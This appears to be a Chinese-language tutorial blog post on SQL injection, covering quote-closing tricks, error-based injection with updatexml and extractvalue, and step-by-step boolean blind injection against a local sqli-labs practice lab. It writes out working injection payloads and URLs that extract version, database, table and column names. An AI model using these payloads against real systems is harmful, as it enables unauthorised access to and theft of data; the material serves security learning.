Sql注入和sqlmap的使用

type

status

date

slug

summary

Sql注入

sql的注入，可以使用#注释，or关键字判断等手段使原本的sql查询数据部分形成闭合。

select uid email from user where username = '1'or 1 = '1'

1'or 1 = '1

where username like '%xx%' or 1=1 #%'

where username =('xx') or 1=1 #')

基于报错的信息获取

常用的报错函数updatetexml() extractvalue() floor()

基于函数报错的信息获取（select/insert/update/delete）

思路：

在MYSQL中使用一些指定的函数来制造报错，从而在报错信息中获取设定的信息。

select/insert/update/delete都乐意使用报错来获取信息。

背景条件：

后台没有屏蔽数据库报错信息，在语法发生错误是会输出在前端。

三个常用的用来报错的函数

updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。

floor():MYSQL中用来取整的函数。

Updatexml()函数作用：改变（查找并替换）XML文档中符合条件的节点的值。

语法：UPDATEXML（xml_document,Xpathstring,new_value）

第一个参数：fiedname是String格式，为表中的字段名。

第二个参数：Xpathstring（Xpath格式的字符串）。

第三个参数：new_value,String格式，替换查找到的符合条件的。

Xpath定位必须有效，否则会发生错误。

返回结果

此时的5.7.21在返回时被吃掉一部分，可以用concat（）来进行处理

kobe' and updatexml(1,concat(0x7e,version()),0)#

0x7e为~的16进制

返回结果为

编写GET请求是需要转换为url编码，可以使用Convert selection-url-url encode key characters

盲注

所谓盲注便是在服务器没有错误回显的时候完成的注入攻击。sql盲注主要分为三类，分别是布尔盲注、延时盲注（也叫时间盲注）、报错盲注。

步骤示例

1.测试注入点

http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and 1=2 --+

#id 处存在注入点

2.测所在数据库长度

http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (length(database()))=8 --+

3. 利用ASCII码猜当前数据库名

http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115 --+

http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (ascii(substr(database(),2,1)))=101 --+

以此类推，可以通过ASCII码所对应的值得到数据库名。

4.利用ASCII码查询表名

具体查询过程跟查数据库名基本一样

http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101 --+

过程跟上述命令类似，只是有少许不同，相关的一些命令会在后面给出

5、利用ASCII码查询字段名

http://192.168.159.130/sqli-labs-master/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)))=105 --+

sql手注所用到的函数总结

length() #返回字符串的长度

substr() #截取字符串（语法：substr(str,pos,len);）

ascii() #反回字符的ascii码

如上所述，利用手注进行盲注非常麻烦，因此我们可以利用工具进行sql注入

————————————————

原文链接：https://blog.csdn.net/weixin_55710577/article/details/124056911